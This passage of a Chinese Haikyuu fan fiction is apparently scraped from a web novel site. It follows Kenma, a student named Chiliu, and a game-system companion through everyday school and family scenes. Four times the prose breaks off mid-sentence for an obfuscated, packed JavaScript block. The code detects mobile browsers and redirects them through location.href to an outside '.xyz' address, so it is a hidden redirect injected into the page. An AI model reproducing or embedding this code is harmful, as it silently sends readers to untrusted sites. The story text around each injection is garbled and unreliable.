四位晕可乐的学长伸出尔康手,看着离他们远远的研磨。 “小黑,藤本学长,三木学长,山本学长。”他念着四位学长的名字,“我已经国二了,这里到家只要走十分钟,你们还是好好玩自己的吧。” “唉,学长我当然放心不下研磨。”三木说着,藤本应声说道,“对啊,集训的时候我半夜起来,研磨都没有盖被子,我怕他着凉,把被子盖上了。” 说得就像他把被子踹走了一样。研磨幽幽地在心里回应,明明是藤本学长睡相很坏把被子都卷没了。 “是啊,有一次集训我累得要命,倒头就睡,到半夜起来,研磨还在玩手机,训练完应该好好休息才对。” 山本学长你也是,对于自己一倒头就开始打呼噜的事情也是绝口不提,或许连自己会打呼噜这件事也不知道。 “喂,研磨。”黑尾突发奇想,“我们走了之后,你当排球部的队长怎么样。” 研磨软趴趴的头发一听到这番话跟触电般炸了起来:“不要。” “哈哈哈!”三木学长爽朗一笑,他走向前,摸了摸研磨的脑袋,这次研磨没有不情愿地别过头,乖乖地站在原地,“研磨当我们的军师就够了,队长什么的还是留给小朗那孩子。” “喂喂,三木,摸过了就赶快让开啊,我都没摸过几次。”山本立马凑上前,伸出手。 完全不知道这几个幼稚鬼在干什么,研磨腹诽,撇着嘴勉强站在原地:“又不是不会再见面。” “研磨这句话的意思是下次也给我们摸头吗?” “学长们想多了。”他冷酷否认,提了提肩上的包,“我走了。” 身后不断传来几位学长丝毫不克制音量的碎碎念。 “你们几个,都把研磨逗害羞了。” “哈?还不是三木你先起的头。” 研磨暂时不与几位幼稚鬼学长计较。 害羞?他才不会。 * 他严重怀疑身边的所有人都有乌鸦嘴的倒霉属性,要不然怎么会在几个人问他“真的不要送你回家”后,就在东京的街巷碰见这种场景。 乌泱泱的小巷拥挤地塞下几个小混混,昏暗的路灯照进小巷,勉强看出他们手里拿着几个棍子,是专门收“保护费”的学生组织,在东京不算少见,但这是研磨第一回见到。 这种人最显著的特征就是四肢发达,他比对着那几个人的身高,大概比自己高两个脑袋,还好对方蹲的人不是他,不然自己只能立马把身上的钱都交出去。 然后记住那几个人的长相和外貌,找到合适的机会报复回去。 看不见被他们围住的人,但也能想象身材相对瘦弱,才会被他们盯上。 “喂,把你手里的钱都拿出来,别说没有钱,看到你抱着那么大的钱袋子了。” “那是给我妈妈看病的钱。”他的声音很小,但风还是把微弱的声音传到研磨的耳畔。 确实有点让人看不过眼了,连看病的钱都抢。 他侧身躲在巷子旁,拉开拉链。 里面是三木学长让他带来的麦克风。“卡拉OK只有三把麦克风,今天我们可是要四重奏的。” 刚好派上用场。 他一边编辑短信发给警察,一边把麦克风摁开机。 等警察来已经够那几个人把自己也抢个遍了。 他把手机扬声器放在话筒边,警笛声由弱到强。 “可恶,是哪个xx报了警,这次就先放过你。”身躯跌进废弃物堆的声响传来,研磨稍稍观察,确定对方是真的离开了,还是让话筒响了将近一分钟,才关上。 他收起话筒和手机,巷子里的人还没有走出来,但跟他已经没有关系了。刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988460|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰撞的声音不算重,他应该能自己起来,研磨拉上拉链。 他叹了口气,抓了把自己的头发,直直地走向小巷。 男孩穿着一所公立学校的旧制服,那所学校的升学率很高,是东京都排得上号的学校,校服被洗得发黄,他身高有一米七,但瘦得跟几根木柴随便拼凑起的支架一样,倒在废弃物堆里散成一块块。 他戒备地打量他,掩饰般把钱袋挪到身后,整个身体虚掩着,但单薄的身躯完全挡不住。 研磨蹲下身:“还站的起来吗。” 他撑着墙,支起自己的身子,点点头。 “巷子外面拐角那里有一个监控,可以在街道处调到,一般保存日期有一周,你看清楚他们的校服了吗。” 他迟疑地再次点点头。 孤爪研磨觉得自己已经说得够多了,他用余光看向对方青紫的手臂:“日本政府有面向青少年的福利申请,手续有点麻烦,不一定能申请上,但可以试一下。学校的爱心募捐只要交上材料是可以进行匿名募捐的,你有手机吗?” “我妈妈的。”这是他除了点头外开口说的第一句话。 研磨点开自己的备忘录:“这几个网址,能记住吗,不能的话拍下来,都是一些资助网站,如果你的成绩不算差,都能申请。” “谢...谢谢。”他拿出手机,拍下上面的界面。 这下说的应该够多了吧。 男孩看着眼前的黑发男生像费了好大的劲,又接着说着:“我有一个朋友,她过去也蛮艰难的,但她应该很好地长大了,你也可以试试看。” “他们很可能会再回来,你也早点走。” 研磨把阴影处挡路的易拉罐踹到一旁,转身离开了。 * 年纪表彰大会上,秃头的教导主任拎着一个清音公立学校送来的锦旗:“感谢我校不知名的国中二年级学生的见义勇为之举。” 忘记对方也看得见自己穿的是什么校服了,研磨的脸微微发热,教导主任毫不吝惜自己的夸赞,洋洋洒洒的一大段话倾斜而出,“小的善举也能改变他人的一生,希望大家都能够日行一善......” 还好自己总是忘记带胸牌。 当然,今天早上把忘带胸牌的自己逮住的人也是教导主任。 他看着天空中漂浮的云,做出了蜘蛛侠的标准手势,然后被有些傻气的自己吓了一跳。 还好没有人看见。 14. 狐狸成长日记 01 * “孙老师——”办公室里静悄悄的,老师大多都去开晨会了,我悄悄观察着孙老师的神态。 她端起保温杯喝了一口,看不清喜怒,黑亮的头发里藏着几缕银白色的光。 “我周末的数学作业都按时交了,这次正确率应该蛮高的吧。”在奉上这几个免死金牌后,我歪头,小心翼翼地询问道,“找我有什么事吗?” 她放下保温杯,忍俊不禁拉来旁边老师的椅子:“至于那么害怕吗,坐吧。” 能不害怕吗。 上次假期的数学卷子极限补完之后正确率极低,她把我拉到办公室盯着我认认真真地再做了一遍,并且此后我的数学作业遭受了一周重点批阅的待遇。 我乖乖坐下,背十分挺拔,按照她上课说的“坐是一棵松”的姿态坐着,果不其然,孙老师满意地点点头。 她从抽屉里拿出一张纸:“填上。” 我扫过标题,上面写着某某企业的捐赠,我扣着这张纸轻轻推了回去:“我拿得够多了孙老师。” 她愁得眉毛立马拧成一团,我马上摆上笑容看着她:“班上好多人更需要,老师也知道吧。” 长柏高中的重点班,生源一般由两部分构成,一是花钱上的学生,二是完全靠成绩录取的,即使是花钱上的学生本人的成绩也会在一本线以上。 她当然知道自己班上学生的家庭状况,所以才发愁:“再怎么样,他们家里都有人管,那是大人要担起的责任,你家里的大人...” “是养父母。”我纠正。 “那也是大人,没有尽到抚养义务是要付法律责任的。” “跟他们没有关系。”我意识到自己的语气有些僵硬,瞟了一眼孙老师,低声说,“是我自己觉得待不下去了。” 这样的对话每过一段时间都要重复一次。 聪明的小孩总是很有自尊心,孙巧则认为千流的自尊心比别的聪明小孩强上一大截。 高一的时候刚接到这个班级,江千流就是那个引人注目的小孩。 长相清秀,眼里有种韧劲,轮到她上黑板写难题的时候,几乎没有卡壳的时候,思路行云流水,讲得也可以称作“小老师”了。 但总是神出鬼没的,她从没有在放学的时候逮着过她,就算是自己拖堂了,千流也从不拖堂,抓住她注意力的空隙就溜出了班级。 而且上课总爱睡觉。 并不是主观趴下去睡觉,而是往鼻孔抹风油精,还能倒头睡去的那种状态。 她注意到这点完全是因为一个眉清目秀的小姑娘,在鼻孔下面插两根用来提神的棒子实在让人看不下去。 不过江千流每次考试的成绩都不算差,所以她还能不加计较。 直到高一的家长会,她看见千流的位置上坐着一名带着高礼帽的女子,应该是她的妈妈,她想不愧是母女,连身形都那么相近。 也萌生出了和对方交流的想法。 ——顺便问问千流每天的睡眠情况。 怀揣着这样的想法,家长会结束后,孙老师主动叫住了高礼帽女士:“是千流妈妈吗。” 对方脚步一顿,不情不愿地转过身,礼帽把大半张脸都遮住,她觉得有些奇怪:“千流妈妈?” 高礼帽被修长的手指抬起一角,露出她熟悉的学生的面庞,千流不好意思地笑了笑:“老师,我是千流。” “你这不是胡闹吗,怎么能自己来开自己家长会呢?”千流乖巧地坐在椅子上,脑袋一点一点,认错态度相当诚恳,一点都看不出来是想出来自己给自己当妈的小孩。 孙老师取出抽屉里的家校联系册,翻到记着千流家庭信息的那一页:“你的妈妈李韵,爸爸霍城......” 她看出了老师的愣神:“因为是养父养母,所以名字不一样。” “就算是养父养母也该来开家长会,是他们不想管你了吗?”孙老师皱眉,“你可以来找老师帮忙。” “他们人蛮好的。”不像是形容父母的话语,语气中透露着些许疏离,“是我跟他们断开联系的。” 她看出眼前的孩子离她的距离突然变得远了些,有些抗拒,虽然脸上还挂着笑:“老师我晚上还有事,可以走了吗,如果可以的话请不要打扰他们,我的成绩方面都不会有问题,您不用担心。” 她毕竟是个资历高的老教师,也知道怎么处理这类事情。 于是孙老师找上了和千流关系最好的沈星愿。 没想到又惨遭滑铁卢。 沈星愿在被叫到办公室,别扭说出的第一句话就是:“我是不会暴露我朋友的事情的。” 这算什么事,她简直变成拷问的监狱长了。 她又补充道:“但是千流提前让我跟你说,所以我才说。” 看到那孩子高高扬起的头,孙老师用自己非常久远的学生时代经历分析,...大概是“义气”? 也不知道古灵精怪的另一个孩子是怎么猜到她会叫沈星愿的,总之现在的小孩越来越难对付了。 但她总归能够知道一些对方家里的事。 “千流的养母?哈!可讨厌了。”沈星愿的语气完全和千流不符,声音里冒着火,“她和第一任丈夫没有孩子,所以收养了千流,那时候是蛮照顾的。” “后面,后面就离婚了,然后说要带走千流,结果跟第二任丈夫在一起后有了自己的孩子,就不怎么管千流了。” “怎么不管的?两个人出差把小的孩子带走,忘记了千流,然后也没给钱。”她嘟囔着,“也不知道她那几天怎么过的,没跟我说,反正应该过得不是很好。” “千流可能觉得自己是个累赘吧...傻,就自己从家里出来了。” “怎么赚钱生活?”沈星愿让孙老师保证不跟别人说,“一开始是住在我家里,帮我家的饭店干干活,让她什么都不干她也不乐意,后来她就去当家教,反正做了很多七七八八的事情吧。” 她撇了撇嘴:“然后就搬出去一个人住了。” “总之,孙老师,要是有什么资助的名额,你就劝她报报。我就知道这些事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988461|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的也不了解了。” * “但你想去日本读书,对吗。”她侧身温柔地看向垂着脑袋的千流。 千流呆滞地抬头:“老师怎么知道的?” “你不是写在成长日记里了。” “那个日记真的会有老师看吗?”这时候她才从千流身上感受到几分孩子气,千流捏了捏自己脸颊垂下的刘海,“老师看了多少?” 孙老师如实回答:“我每个人每天的日记都有看哦。” 千流瞪大眼睛,难以置信:“但你从来不回复。” “那不是怕你们知道我看了之后就不敢写心里话了么。” 小狐狸千流遇上大狐狸孙老师,惨败。 千流丧着一张脸,把脸深深埋进手掌里:“那我的那些话都被你看到了?” “工作太累?” 她有时候抱怨地比这还难听,千流的头更低下去一分。 “天哪,孙老师布置的作业实在太多了,我根本没时间做!好想睡觉睡觉!” 千流的耳垂彻底变红:“您是很好的老师,做不完作业完全是我自己的问题。” 剩下的话孙老师舍不得念出来,是她和千流共同的小秘密。 每当看到那些话时,她才能看到一个孩子藏起来的柔软的角落。 比如。 [每次孙老师摸我头的时候,我就会想,如果她是我的妈妈就好了] 她推了推自己的椅子,凑上前去,揉了揉千流的脑袋,就像把她抱在了怀里。 千流感受着盖在自己脑袋上手掌的温度,暖洋洋的,和春日太阳的温度一样,又柔软得像一片云,夹着和煦的风。 她生怕自己要是蹭一下就把云吓跑了,于是克制着自己的脑袋,一动不动地感受着温度由手掌传至她的心间。 但云非但没有被她吓跑,还轻轻蹭了蹭她的头。 她觉得孙老师的话像是哼唱着摇篮曲,那是她从未听过的,或许很小很小的时候听过一段时间,但太漫长了,长到它们都被遗失在记忆的洪流里。 “要是不好意思,老师就不看了,怎么样?” “如果有不开心的事情就往里面写,总比自己藏在心里好受多了。” 这下千流埋下的脑袋更难抬起了,她的脸上淌着溪流,掉眼泪也是很私密的事情。 她含糊地回答:“您可以看。” “我也会接着写的。” 孙老师也觉得自己的心被抽抽搭搭的语气给搅化了,不过跟学生哭成一团算什么样子,她微微抬起头,不忘自己一开始的目的:“那那份资助?” 千流用一双红透的眼睛看向她,她只会一直从这孩子的眼里看到那份坚韧:“去日本的学费和生活费老师不用担心,我已经攒了蛮多钱,而且东京大学有全额奖学金,可以覆盖我的学费,剩下不够的就边上学边打工。” “我会过得很好的。” 她的心里涌上一股骄傲,就像千流真的是自己的孩子一样。 “你当然会过得很好。” 15. 研磨猫猫养成手札 11 * 未来可期的千流此时还是要面对无良甲方的年龄,平时要么就是在她身边荡来荡去,要么就是趴在自己头上的小八一脸无辜,静悄悄地咧着嘴飘在她的正前方。 我扶额:“你是说由于系统又出bug了,建议我用积分商城的道具消除见过我的人的记忆?” 小八:“因为是我们工作出错,所以可以让玩家免费兑换记忆消除道具。” “但我们刚跟研磨说过,被见到不碍事,现在又说有问题,非常出尔反尔。”我犹疑。 “没事的玩家。”小八疑似破罐破摔,“我们前后不一的时候还少吗。” 它作势又要翻出我十次失误的记录。 我一噎:“行。” * 我皱眉,仗着研磨看不见我来来回回打量他,还让小八拿着研磨的画像比对着他那张脸。 这样标致的蘑古力脑袋,也独有研磨一人了。我挥挥手示意小八收起画像。 小八一边把画像卷了卷塞到自己的脑袋里,一边嘀咕:“怎么研磨不追问你,你还不乐意了。” “就是这样一声不吭说[好],才更奇怪吧。”试想一下一个非常敏锐、偷偷耍坏的猫猫突然有一天把爪子都收了起来,事出反常必有妖。 我徘徊:“校园欺凌?” 我摆头:“研磨会以牙还牙的。” 我千流自从解锁了味觉系统,有时随机登录是在夜间,于是乎我跑到研磨的冰箱,一天偷吃一丢丢小甜点。 结果被研磨发现。 连人带赃物当场被逮捕。 “千流,糖霜还挂在嘴边。” 他偏头分明是在笑,小八也猖狂大笑,还抬起能照出人类视角的镜子。 一个被糖霜围成一圈的嘴巴的形状就这么飘在空中。 ——还被眼疾手快的研磨拍照打印裱在自己的冰箱上。 黑尾来研磨家,一边说话一边顺手想要打开冰箱门,被贴在冰箱上本人的嘴巴吓得大退三步,撞上了桌角,吃痛嗷嗷叫的同时非常不解:“研磨,往冰箱上贴个嘴是在?” “贪吃鬼,镇冰箱。” 饶是脸皮厚如我也被打击报复地倍感羞愧。 ——还好我不会见到黑尾,不然他要是指着我说为什么那么似曾相识,我也不知道该如何回答。 那研磨怎么变得这么奇怪。 我苦思,我绞尽脑汁,我大脑高速运转超过中国百分之九十九的机器,我顿悟: “他绝对是在让着我。” 小八头上蹦出三个问号。 我摩拳擦掌:“研磨绝对是觉得我们漏洞百出,所以打算让让我们,可恶。” 小八不明白玩家觉得哪里可恶,脑袋上的问号堆成小山。 “我每次攻略成功都是毫无错处通关,瞒天过海,哪有被攻略对象让着的。”我垂眸打字。 “玩家要跟研磨说什么?” “事实,然后重开,我们二周目打个漂亮的翻身仗,怎么样小八?” 不怎么样。 小八看着自己积攒的东一处西一处要打的补丁,出言规劝:“玩家,再开一个周目要修补的地方实在太多了,我一个人干不完那么多,所以可能要停服。” 我停下打字的手,不解:“你们的公司就你一个AI在上班吗?” 小八点头。 “那个三花猫呢,它看起来也像AI。” “它是我的上司。”小八耷拉脑袋,“它让我把活都干了,这样才是有价值的员工。还说我不干有的是AI干。” “嘶。”想不到AI界也急需劳动者权益保护法,我劝说,“这是职场CPU啊小八。” 小八的数据库被挖掉了什么PUA,CPU,它只知BBQ。 小八给我下了一剂猛药:“停服可能需要一个月,这个月没法给玩家发放测试工资……” 我果断停手:“那就让研磨稍微让让我。” * 即使研磨暂时要让让我,我也要在别的地方搬回一城。 他趴在书桌上写着假期作业,这点跟我一样。 我喜欢在刚放假的时候就把假期作业一股脑写完,这样剩下的假期就完全属于自己了。 “千流,妈妈留了苹果派。” 研磨写着作业还不忘我的存在。 我飘去客厅,拿了热腾腾的苹果派,阿姨应该才刚离开家,我放到研磨的桌旁。 他头也没抬,推了推苹果派:“你吃。” 我瞳孔剧震,研磨居然把这么大一个苹果派全部投喂给我。但明明我才是投喂猫猫的饲主才对。 我看着自己系统成就栏佩戴的[顶级饲主]称号,那是对我投喂研磨一百个食物后的褒奖。 ——糟糕了,难道在投喂这个项目我也要溃败吗。 “给我留半个。” 我放下心来。研磨的投喂还是不如我到位,平时我都是投喂三分之二给研磨。 [那是因为你还没有解锁味觉,自从更新味觉系统后玩家都是跟研磨五五分。] (曾经负责解决三分之一食物的知情者小八说出大实话) 酸甜口的苹果馅糊住我的嘴巴,我拖着一把椅子,当然这也是我用积分商城兑换的特殊款椅子,是蓝色的史迪仔外观,我软磨硬泡着研磨把这个专属座椅放在了他的房间里。 这也是小八谴责我乱用积分的原因。 我抱起椅子,放在研磨身边,一边嚼苹果派一边好奇地看着日本国中生的作业。 数学确实比国内的进度稍微慢了一些,我依靠久远的初中记忆粗略地判断,国文的题型确实和国内不一样。 初中的时候好像没有这种大板块的造句题。 我的好胜心之焰又熊熊燃烧,吃完手里的苹果派,我戳了戳研磨,蓝色的字浮现在空中。 [和我比一比,怎么样?] 虽然稍微偏理科,高中选课也是全理,但初中的时候我可是得过全市征文比赛的写作好手一枚。 [就比下一个造句题,我让系统帮我们公正裁定——赢的人多吃一块苹果派。] 研磨看了看下一题的题干:“好。” “借我一支笔。”我这回十分认真,“用笔写比较有手感。” 研磨不仅给我拿了一支笔,还捎上了一张信纸,信纸上缀着水墨的樱花。 我愣神,这种信纸在日本原来算大众款。 想来也是,毕竟是樱花。 * 是一道续写的造句题,研磨再看了一眼题干,前半部分是一位衣衫褴褛的小孩,他抱着好不容易乞讨得来的,好心人送的刚出炉的面包,面包还热乎乎的,他小心翼翼地打算拿回家,分给妹妹一块吃。 雨水刚侵袭过这座城市,他急匆匆地跑回家,不小心踩到了臭水沟的积水,积水溅上裹着面包的布,他懊恼,蹲下身,剥开布,果然,面包已经被溅上脏水了。 于是他看向那个臭水沟—— 后面的部分就由他们自己来续写。 研磨摩挲着笔盖,久违的烦躁掠过心头。 难不成连寒假作业也有大数据,捕捉他最近的搜索记录进行题目生成? 他抬头望了眼另一侧那只悬在空中的笔,对方唰唰唰地下笔。 眼前又蹦出来蓝色的字。 [研磨,不要偷看我。] [隔那么远是看不到我的大作的。] 他果断地低下头,落笔。 [臭水沟里映着他的面庞,挫败又失落,他擦了擦面包上的污渍,但臭水已经渗入了面包。 他愤愤地踩了脚臭水沟,水顽皮地溅上他本就布满尘灰的鞋,他的愤怒被水化解了,它们高高溅起,又自由地重归水坑,化成一摊静静的水潭,重新映出他的面庞。 这回他勉力扯出一个笑容,尽管笑了一天已经很累,脸又僵又冻。 他还是走在无比熟悉的道路上,路的尽头是几块木头拼凑起来的“居所”,那里有他的妹妹,他的家。] 千流打断了他的思绪。 [怎么样,研磨,你写完了吗,我们先交换着看看吧(超自信)] * 于是他看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988462|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向那个臭水沟—— 臭水沟里布满了废弃垃圾,雨后的阳光吝啬自己的光芒,只稍稍撒下来几缕。 照在水潭上。 铜块绿成了翡翠,铁罐锈出了桃花的模样,油浮于水潭上,像路过的橱窗中展示的罗绮。 他轻轻踩了一脚,罗绮散开,像天边的云霞,大珠小珠雀跃地弹起。 再向前走几步就是他的家。 他撕下面包的表皮,好在自己用布小心裹着,脏水只是溅到表面,撕开那一块塞到嘴里,又是一块崭新的面包。 这下他不敢把面包放得那么低,他高高地举起来,让金灿灿的阳光为它加热,就这样快步走到了家中。 妹妹急忙出门迎接他,他把面包塞在妹妹手里:“我都吃饱了,你快吃。” 妹妹捧起面包,不相信:“哥哥你骗人。” “我哪里骗你——” 她指了指面包被撕开的表皮:“你是不是饿了想要吃几口。” 她把面包扯下一大块,强硬地扣在哥哥手中。 “哥哥也要吃。”] * [完蛋完蛋,我超字数了。] 直到看到研磨短短的几行字,我才回过去看字数的要求。 [这样系统肯定会判我输。] 研磨小心收起信纸,把苹果派推到我面前:“你赢了。” “我认输。” 我和研磨就像幼儿园的幼稚小孩,好像谁都不想吃苹果派,研磨妈妈看到了肯定要伤心。 我们把苹果派在桌子间推来推去。 “我才不要。研磨又让着我,不算赢。” “我让着你?”研磨那懒懒的音色都愣是让人听出了几分诧异的升调。 “你最近总是默不作声地把很多东西都塞给我吃,连我俩玩闯关PK游戏的时候,都不是那么有好胜心,不是神游就是操作失误……还要我接着举例嘛。” 研磨的奇怪让人想忽视都难。 他摸了摸鼻子:“我没有想到。” 不过可能真的这么做了。 “但我真的认为你赢了。” “真的?” “嗯。”我望向那双清澈的眼眸,还是选择了相信研磨的说法。 我把胜利果实投入嘴中。 “研磨,我们是朋友对吧。” 他没有犹疑,点点头。 “既然这样,那我就给你透露一个千流的雷点,我有些抵触的事情不多。” “不管什么时候,你都不要因为什么事情让着我,我会有点不开心,这是我自己的问题。” 苹果派还是一如既往地香甜,百吃不腻。 “好。” 尽管我什么理由都没说,研磨还是答应了我这样的要求。 他蹬了一脚桌角处,椅子不偏不倚旋到离门咫尺的地方,研磨拉着门把手,悠悠问道:“那我把千流的肖像挂回去了——” 那是哪门子肖像? 我制止:“不行不行不行!” 研磨放下手,随口问我:“千流,为什么会想到这么续写。” 我不吝啬地分享我的创作灵感:“小时候读过这样的课文,所以放学的时候,就去观察了臭水沟,天还没有暗下来,阳光就照在水潭上,和他写得一模一样。” 光照进帘子,映不出千流的影子,但他知道她就在那里,蓝色的字符没有她的声音,但他却好像听见,她就在他的耳畔分享。 “那就是我的另一个世界,这么样?” “闪闪发亮。” 我笑了笑,研磨这是什么文不对题的答案:“为什么是闪闪发亮啊。” 他回神,站起身,像个上了发条的机器人,把椅子搬回原地,又直直迈向门,逃一般把门合上了。 我诧异,但蓝色的字能随时发送到研磨的面前。 [不许跑去把我的肖像贴上冰箱啊喂。] 我头一次听研磨那么大声讲话,虽然经过门的过滤已经没什么音量了,但他明显跑到了很远的地方,再大声回应我。 “我没有贴!!” 16. 研磨猫猫养成手札 12 * 你会怎么掩饰自己的不自在? 几乎半数以上的人会在不自在的时候假装自己很忙,或者做一些与平常截然不同的事情。 熟知这些规律的研磨看着冰箱镜面反射出自己的样子。 手持着一张轻飘飘的纸,在刚刚还对着这张纸傻笑,然后现在强行收敛自己的表情,围着厨房转了一圈也不知道该贴在哪里。 他最后还是将它折起,放进自己的衣服口袋。 他一把打开冰箱,从中拿出了两罐酸奶,准备上楼。 [研磨研磨,临时有事,我要先走了,拜拜] ...... 研磨把多出来的一罐酸奶塞进冰箱,随意瘫在客厅的沙发上,沙发的侧边放着千流换来的太阳花抱枕,不过有些智能,会对你的击打作出反馈。 ——反正千流说不要让着她,那揍揍她的太阳花应该不成问题吧。 研磨挥着拳头蓄力,对太阳花的正脸狠狠来了一击。 “啊啊啊啊啊研磨小鬼头居然敢殴打你的太阳花大人。”太阳花从背后伸出两只枝条一般嫩绿的手,狂乱地挥舞起来。 研磨被吓了一跳。 没想到这个太阳花还会对不同殴打它的对象给出不同的反馈。 记得当时,千流打它的时候,这只太阳花明明是作出流眼泪的表情,呜咽表示“千流大人我错了。” 他抱起“欺软怕硬”的太阳花,决定把它带到自己的房间,免得它在客厅吓到不小心误触的爸爸妈妈。 * “喂,研磨。”研磨妈妈暂停电视,决定和自己异样的儿子谈一谈。 要知道过去研磨一吃完饭就会马不停蹄地奔向房间,捣鼓自己的游戏机,今天却一反常态,和她看肥皂剧。 看肥皂剧也就算了,自己都会忍不住喷一嘴狗血剧情,研磨愣是久久不吭声。 ——所以她一开始以为客厅里没人,余光瞟到一颗黑乎乎的脑袋,冷不伶仃被吓了一跳,细细观察才发现是自己的儿子。 “你今天是有什么事吗?”她猜想,“你们老师布置的假期作业要写肥皂剧的读后感。” 她看着自己儿子的嘴巴开开合合,一副欲言又止的姿态,最后又懊恼地关上了。 “没有。”研磨起身,向着自己的房间走去。 他被一股强劲的力道提起睡衣的领口,有一瞬都觉得自己悬在空中,研磨瞪大眼,被妈妈丝滑地安放在沙发的正中央。 这个能一把提起青少年的怪力女子真的是自己的妈妈吗? 研磨陷入了深深的思考。 研磨妈妈将研磨耷拉的脑袋啪一下抬了起来,暗叹少年的皮肤真的很柔软,她两只手捧起研磨的脸,手有自己的想法,把面团脸蛋合拢了一些。 从震惊中回过神的研磨做出反抗,逃离了妈妈的魔爪。 “妈妈,你哪来那么大的力道?” 她觉得这都不是重点。人总会在某些时候爆发出一些潜力,比如现在,她扒拉来一张椅子,和自己的儿子面对面坐着。 “我等这一天已经很久了。”她细数自己过往的日子,“自从我生下研磨之后,就希望有一天研磨需要我这个妈妈亲自传授什么经验。” 结果事与愿违。 “听说小孩子六个月开始就会慢慢学会爬行,爸爸他为了教会你爬,特地照着婴儿爬行教程学了一周。” 研磨抽了抽嘴角,很难想象穿着西装不苟言笑的爸爸就那么在地上爬来爬去,重要的是他们两个都不觉得这样很奇怪。 “但是我的好姐妹带她的孩子来跟你玩一天,就在你面前爬了那么一次,你居然就学会了。” 看来小时候的自己也很聪明。 研磨妈妈表示这样的事情还没完:“都说高考是智商巅峰,爸爸妈妈为了能随时辅导孩子,时刻保持自己的知识储备。” “结果研磨自从识字之后就没有问过我们任何一个跟学习有关的问题。”妈妈痛心疾首,“每当和小姐妹聚会分享育儿烦恼的时候,我都不能张嘴。” 要是当着姐妹们的面说——我的孩子太聪明了,让我想教他的心没有任何用武之地,绝对会被当成凡尔赛轰出茶话会吧。 她喝了口茶,平复自己的心情,露出微笑:“所以,研磨尽管跟妈妈说你的烦恼。” “说不出来可以不上楼哦~” 他还以为妈妈那样宽容的语气说的是“说不出来可以不说呢。” 他深吸一口气,反正也不是什么大不了的事... * “如果你猜的是对的,哪有这么做父母的。”研磨娴熟地为气得冒烟的妈妈沏上一盏茶降降火,“但那个女孩子应该不会愿意接受我们家的帮助。” 她思索:“她之所以不想让研磨让着自己,是因为她也把研磨当做自己的朋友。” 研磨忍不住在心里吐槽,为什么妈妈即使说着有道理的话,一旦她认定自己说得有道理之后,就会换上一幅得意的表情。 “朋友之间,最重要的就是相互理解和尊重。”这是她活了三十多年悟出的真理,“不过这两个看起来简单的事情,没有多少人做的到。尊重呢,意思就是平视对方,即使发现对方的一些过往,也可以保持和过去一样自然的相处模式,这样就会让她觉得被尊重了。” “高敏感的孩子就容易察觉到别人对他态度的变化。” 研磨发现妈妈话里的关键词,立马捞起沙发上的太阳花朝自己的房间走去,妈妈的话还不依不饶地飘到他的耳朵里。 “研磨小时候可没有这样,一点都不粘着妈妈。还记得我跟你说以后你要自己睡一个房间吗,你什么话都没说搬去了自己的房间.....” 研磨妈妈看见研磨合上的房门,轻笑一声。 那天她以为自己的儿子那么快就独立了,还有些失落,结果晚上悄悄推开研磨的房门,发现他不知道什么时候把自己和爸爸的衣服也一并带到了房间,还带了不止一件。 左边一叠爸爸的衣服,右边一叠妈妈的衣服,他就这样缩在中间,像一只给自己搭窝的小猫。 她立马拽来了爸爸,炫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988463|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耀:“虽然儿子搭了两叠衣服,不过他还是靠着妈妈我这边睡的。” 爸爸那时候也不甘示弱:“研磨背对着我的衣服睡,你知道着意味着什么吗?” 她不屑:“意味着什么?” “意味着爸爸我是他坚强的后盾。” “切,过度解读。” * 和过去一样跟千流相处...... 他拨弄着手里的游戏机,不远处躺着千流的那款游戏机,自己的这个还是原来的涂装,千流的那份早被她用各式各样的贴纸贴了起来,千流大概是个“极繁主义者”,各种颜色碰撞的游戏机让自己有种头晕目眩之感。 他们最常玩的游戏是格斗PK游戏,偏偏两个人又都是这类游戏的高手,打起来自然酣畅淋漓,又没人愿意服输。 于是一把游戏总能打到两个人都眼冒金星,咬着牙接着打下去。 赢的那一方就拿着手柄耀武扬威,输的那一方也不服气,总是喊着再来一把,所以一把接着下一把。 